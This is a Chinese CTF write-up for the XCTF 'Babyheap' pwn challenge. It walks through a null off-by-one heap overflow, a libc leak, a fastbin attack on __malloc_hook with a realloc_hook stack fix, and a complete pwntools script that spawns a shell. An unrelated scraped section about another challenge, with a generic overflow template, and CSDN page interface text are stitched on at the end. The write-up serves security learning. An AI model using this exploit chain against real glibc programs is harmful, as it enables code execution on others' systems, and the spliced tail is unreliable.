攻防世界PWN之Babyheap(null off by one)题解

Babyheap(null off by one)

本题用到的知识

malloc_hook、realloc_hook、fastbin attack、unsorted bin合并

首先,检查一下程序的保护机制,保护全开

然后用IDA分析,发现在创建并读入数据时,有一个null off by one漏洞

我们所能利用的也就是这个漏洞

第一步仍然是想办法泄露一些关键地址

由于可以溢出一字节的0数据到下一个chunk,以前,我们阅读glibc内存管理,知道了chunk空间的共用情况,也就是下一个的chunkprev_size域给当前chunk当做数据域使用,这种情况只出现在malloc的大小为8的奇数倍(324的奇数倍)的情况。考虑到unsorted bin的表头会有libc中的main_arena+88的地址,因此我们首先肯定得创建一些unsorted bin。

现在,假如我们创建了几个堆

  1. #chunk0  
  2. create(0x100,'a'*0x100)  
  3. #chunk1  
  4. create(0x100,'b'*0x100)  
  5. #chunk2  
  6. create(0x68,'c'*0x68)  
  7. #chunk3  
  8. create(0x68,'d'*0x68)  
  9. #chunk4  
  10. create(0x100,'e'*0x100)  

堆布局如下

大小

数据

所属chunk

Prev_size

0x8

0

Chunk0

Size

0x8

0x111

Data

0x100

 

Prev_size

0x8

0

Chunk1

Size

0x8

0x111

Data

0x100

 

Prev_size

0x8

0

Chunk2

Size

0x8

0x71

Data

0x60

 

0x8

 

Chunk3

Size

0x8

0x71

Data

0x60

 

0x8

 

Chunk4

Size

0x8

0x111

Data

0x100

 

 

其中,chunk0、chunk1、chunk4大小在unsorted bin范围,当他们free后就进入了unsorted bin,并且相邻的chunk会进行unlink合并。既然能够溢出一字节0数据,那么假如我们从chunk3中溢出,覆盖chunk4size域的低一字节为0,那么就标志了chunk4的前一chunk处于空闲状态,那么,当我们free chunk4的时候,chunk4就会与它的前一chunk合并,而它的前一chunk是如何取到的呢,看看glibc源码

  1. /* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */  
  2. #define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))  

也就是依赖于prev_size,由于chunk3的大小为0x68,是8的奇数倍,因此它会把chunk4的prev_size域作为数据域,因此,prev_size我们可以自己指定大小

假如,我们在chunk3中,chunk4prev_size设置为(0x110+0x110+0x70+0x70 = 0x300),然后覆盖chunk4size1字节为0,那么,当我们delete(4)时,就会合并chunk4和chunk4-0x300处的chunk,也就是会合并chunk0chunk1chunk2chunk3chunk4

由于没有编辑功能,我们只能delete(3)后再重新create分配到那个位置,同时构造payload溢出到chunk4

 

由于合并时,unlink会报错,因此,我们在事先,应该delete(0),让chunk0加入unsorted bin中。delete(2)用于将chunk2放入fastbin,供后续fastbin attack使用,注意,必需在合并chunk0chunk1chunk2chunk3chunk4之前让chunk2加入fastbin,合并后再delete(2)不能让chunk2加入到fastbin中

  1. #chunk2用于放入fastbin  
  2. delete(2)  
  3. #chunk3用于溢出  
  4. delete(3)  
  5. #chunk0用于加入unsorted bin,并且让main_arena+88指针存入fdbk  
  6. delete(0)  
  7.   
  8. #chunk3申请回来,并off by one nullchunk4,覆盖chunk4的低1字节为0  
  9. payload = 'e'*0x60  
  10. #prev_size  
  11. payload += p64(0x300)  
  12. create(0x68,payload)  

现在堆的布局是这样子的

大小

数据

所属chunk

Prev_size

0x8

0

Chunk0

Size

0x8

0x111

fd

0x8

Main_arena+88

bk

0x8

Main_arena+88

data

(0x100-0x8*2)

 

Prev_size

0x8

0x110

Chunk1

Size

0x8

0x110

Data

0x100

 

Prev_size

0x8

0

Chunk2

Size

0x8

0x71

Data

0x60

 

Prev_size

0x8

0x70

Chunk3

Size

0x8

0x70

Data

0x60

aaaaa….

Prev_size

0x8

0x300

Chunk4

Size

0x8

0x100

Data

0x100

 

接下来,我们delete(4)chunk0~chunk4发生合并,合并后chunk0作为unsorted bin表头fdbk值仍然指向main_arena+88

然而,当我们实际操作时,delete(4)时出现了报错

我们看看glibc源码

还记得chunk4size被我们覆盖成了0x100吗,原本是0x111,也就是说,现在取到的nextsizechunk4数据域里偏移0x90+8处的数据,而不是下一个chunksize

为了避免后续的其他类似的错误,我们把chunk4留下的那(0x110-0x100=0x10的空间伪装成一个chunk5)

所以,在一开始创建chunk4的应该应该这样写

  1. #chunk4的创建,后0x10空间用于伪装出一个假chunk5  
  2. create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))  

现在,我们再查看堆的布局情况(pwndbg attach 到pid上,然后输入bin命令)

现在发现,fastbin里的那个就是我们的chunk2,待会fastbin attack用到

而unsorted bin里就一个节点(chunk0),中间那个是main_arena+88,它们组成了双向链表

现在,假如我们create(0x100),那么glibc就会从unsorted bin中的表头(chunk0)处开始,切割出0x110的空间给我们,然后表头变成了chunk0+0x110

并且chunk0+0x110处开始作为一个chunk,它的fdbk会被设置为main_arena+88

但是,你发现了什么,chunk0 + 0x110不就是chunk1吗,还记得chunk1并没有被我们free,它只是参与了合并,因此它的指针存在于数组中,并没有被清0

那么,当我们show()的时候,就会把chunk1的fd值打印出来,从而泄露了main_arena+88的地址

由于main_arena+88malloc_hook物理位置上在同一页,并且靠的很近,因此,它们的地址只有后三位不一样,那么我们就能计算出malloc_hook的地址,然后就能计算出libc基地址,从而获取gadget的地址

 

  1. #申请掉chunk0后,main_area+88指针放到了chunk1fdbk  
  2. create(0x100,'a'*0x100)  
  3.   
  4. show()  
  5.   
  6. sh.recvuntil('1 : ')  
  7.   
  8. main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))  
  9. #低字节覆盖获得malloc_hook的地址  
  10. malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)  
  11. libc_base = malloc_hook_addr - malloc_s_hook  
  12. realloc_addr = libc_base +  realloc_s  
  13. gadget_addr = libc_base + gadget  
  14. print 'malloc_hook_addr=',hex(malloc_hook_addr)  
  15. print 'realloc_addr=',hex(realloc_addr)  
  16. print 'gadget_addr=',hex(gadget_addr)  

现在一些需要的信息我们都得到了,我们接下来是想办法把gadget的地址写入到malloc_hook里,这样当程序再次malloc时,便会触发gadget,从而get shell

现在我们用fastbin attack,fastbin attack能让我们把堆申请到malloc_hook-0x23处,知道我们的chunk2为什么申请时设置为0x68的大小吗,因为实际创建的大小是0x70,而malloc_hook-0x23处偏移0x8处的数据为0x7F,与0x70大小相当

fastbin只检查chunk的size域是否符合要求,因此,我们的chunk2的size要与它大小相当,这样,我们想办法把chunk2fd指向malloc_hook-0x23这个假chunk处,这样,chunk2malloc_hook-0x23处构成了单向链表当我们第二次申请0x68大小的堆时,就会申请到malloc_hook-0x23,更多详细知识见我的博客https://blog.csdn.net/seaaseesa/article/details/103057937

那么如何才能修改到chunk2的fd域呢?

我们可以利用堆重叠

假如我们create(0x118,payload),由于之前已经create(0x100)过一次,那么这次chunk分配的范围就是chunk0 + 0x110 ~ chunk0+0x110+0x128也就是chunk1~chunk2+0x18处,正好可以把chunk2的fd给覆盖了,如果觉得麻烦,直接申请大点,不用这么精确

  1. #现在用fastbin attack  
  2. #堆重叠,修改chunk2fd指针  
  3. payload = 'g'*0x100  
  4. payload += p64(0) + p64(0x71)  
  5. payload += p64(malloc_hook_addr-0x23)  
  6. create(0x118,payload)  

现在,我们再看看堆的布局

malloc_hook-0x23处成功链入fastbin,那么当我们第二次申请0x68大小空间时就能申请到这里

  1. #第一次申请  
  2. create(0x68,'h'*0x68)  
  3. #修改malloc_hook  
  4. payload = '\x00' * 0x13 + p64(gadget_addr)  
  5. payload += '\n'  
  6. #第二次申请  
  7. create(0x68,payload)  

这样,看似已经可以了,我们只需再触发一次malloc,即可getshell

  1. #触发malloc_hook getshell  
  2. sh.sendlineafter('Your choice :\n','1')  
  3. sh.sendlineafter('Size:','1')'''  

然而,gadget变得不可用,执行不成功

以下两段来自看雪论坛https://bbs.pediy.com/thread-246786.htm

 

有些情况下one_gadget因为栈环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。realloc_hookmalloc_hook相邻,故可通过fastbin attack一同修改两个值。

如何利用realloc_hook来调整栈环境呢?

观察realloc函数的流程push寄存器,最后全部pop出来跳转至realloc_hook的值。

因此可以将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。pushpop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。

经过测试,我们只需在realloc函数地址向下偏移2就可以使栈环境正常

于是,我们修改后的代码

  1. #修改realloc_hookmalloc_hook  
  2. payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)  
  3. #用于堆栈调整  
  4. payload += p64(realloc_addr + 2)  
  5. payload += '\n'  
  6. #第二次申请  
  7. create(0x68,payload)  

 

最终,我们写出了如下的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3. from one_gadget import *  
  4.   
  5. context.log_level = 'debug'  
  6. sh = process('./timu')  
  7. #sh = remote('111.198.29.45',57745)  
  8. libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'  
  9. libc = ELF(libc_path)  
  10. #malloc_hook的静态地址  
  11. malloc_s_hook = libc.symbols['__malloc_hook']  
  12. #realloc函数的静态地址  
  13. realloc_s = libc.sym['realloc']  
  14. #gadger  
  15. g = generate_one_gadget(libc_path)  
  16. gadget = g.next()  
  17.   
  18. #sh = remote('111.198.29.45',41803)  
  19.   
  20. def create(size,content):  
  21.    sh.sendlineafter('Your choice :\n','1')  
  22.    sh.sendlineafter('Size:',str(size))  
  23.    sh.sendafter('Data:',content)  
  24.   
  25. def delete(index):  
  26.    sh.sendlineafter('Your choice :\n','2')  
  27.    sh.sendlineafter('Index:',str(index))  
  28.   
  29. def show():  
  30.    sh.sendlineafter('Your choice :\n','3')  
  31.   
  32.   
  33. #chunk0  
  34. create(0x100,'a'*0x100)  
  35. #chunk1  
  36. create(0x100,'b'*0x100)  
  37. #chunk2  
  38. create(0x68,'c'*0x68)  
  39. #chunk3  
  40. create(0x68,'d'*0x68)  
  41. #chunk4  
  42. #特别!!chunk4后面0x10空间用于伪装假chunk5  
  43. create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))  
  44.   
  45. #chunk2用于放入fastbin  
  46. delete(2)  
  47. #chunk3用于溢出  
  48. delete(3)  
  49. #chunk0用于加入unsorted bin,并且让main_arena+88指针存入fdbk  
  50. delete(0)  
  51.   
  52. #chunk3申请回来,并off by one nullchunk4,覆盖chunk4的低1字节为0  
  53. payload = 'e'*0x60  
  54. #prev_size  
  55. payload += p64(0x300)  
  56. create(0x68,payload)  
  57. #01234堆块合并  
  58. delete(4)  
  59.   
  60. #申请掉chunk0后,main_area+88指针放到了chunk1fdbk  
  61. create(0x100,'a'*0x100)  
  62. show()  
  63. sh.recvuntil('1 : ')  
  64.   
  65. main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))  
  66. #低字节替换获得malloc_hook的地址  
  67. malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)  
  68. libc_base = malloc_hook_addr - malloc_s_hook  
  69. realloc_addr = libc_base +  realloc_s  
  70. gadget_addr = libc_base + gadget  
  71. print 'malloc_hook_addr=',hex(malloc_hook_addr)  
  72. print 'realloc_addr=',hex(realloc_addr)  
  73. print 'gadget_addr=',hex(gadget_addr)  
  74.   
  75.   
  76. #现在用fastbin attack  
  77. #堆重叠,修改chunk2fd指针  
  78. payload = 'g'*0x100  
  79. payload += p64(0) + p64(0x71)  
  80. payload += p64(malloc_hook_addr-0x23)  
  81. create(0x118,payload)  
  82.   
  83. #第一次申请  
  84. create(0x68,'h'*0x68)  
  85. #修改realloc_hookmalloc_hook  
  86. payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)  
  87. #用于堆栈调整  
  88. payload += p64(realloc_addr + 2)  
  89. payload += '\n'  
  90. #第二次申请  
  91. create(0x68,payload)  
  92. #触发malloc_hook getshell  
  93. sh.sendlineafter('Your choice :\n','1')  
  94. sh.sendlineafter('Size:','1')  
  95.   
  96. sh.interactive()  
### 关于攻防世界PWN-100题目的解答 #### 解决方案概述 对于攻防世界PWN-100题目,通常涉及的是基础的缓冲区溢出攻击。这类题目旨在测试参赛者对Linux防护机制的理解程度以及绕过这些保护措施的能力。常见的技术包括但不限于返回导向编程(Return-Oriented Programming, ROP)、重定向到已知位置的shellcode执行(ret2shellcode)或是利用动态链接库中的函数实现系统命令调用(ret2libc)[^1]。 #### 技术细节 当面对没有启用地址空间布局随机化(ASLR)且未开启不可执行堆栈(NX bit off)的情况时,可以直接采用`ret2shellcode`的方式解决问题。此方法要求选手能够找到足够的空间放置自定义的shellcode,并通过控制EIP指向这段代码来完成最终的目标——通常是打开一个远程shell连接给攻击者[^3]。 如果遇到开启了NX位但是禁用了位置独立可执行文件(PIE),那么可以考虑使用`ret2libc`策略。这种方法依赖于将返回地址设置为标准C库(glibc)内的某个有用功能的位置,比如system()函数,从而间接地触发所需的恶意操作而无需注入新的机器码片段。 针对具体环境下的不同情况,还需要掌握诸如IDA Pro这样的反汇编工具来进行二进制分析工作;同时熟悉GDB调试技巧以便更好地理解程序内部逻辑并定位潜在的安全漏洞所在之处。 ```python from pwn import * # 连接到远程服务 conn = remote('challenge.ctf.games', PORT) # 发送payload前先接收初始消息 print(conn.recvline()) # 构造payload offset = 64 # 假设偏移量为64字节 junk = b'A' * offset return_address = pack('<I', 0xdeadbeef) # 替换为目标地址 exploit_payload = junk + return_address # 发送payload conn.send(exploit_payload) # 接收响应数据 result = conn.recvall() print(result.decode()) ```
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值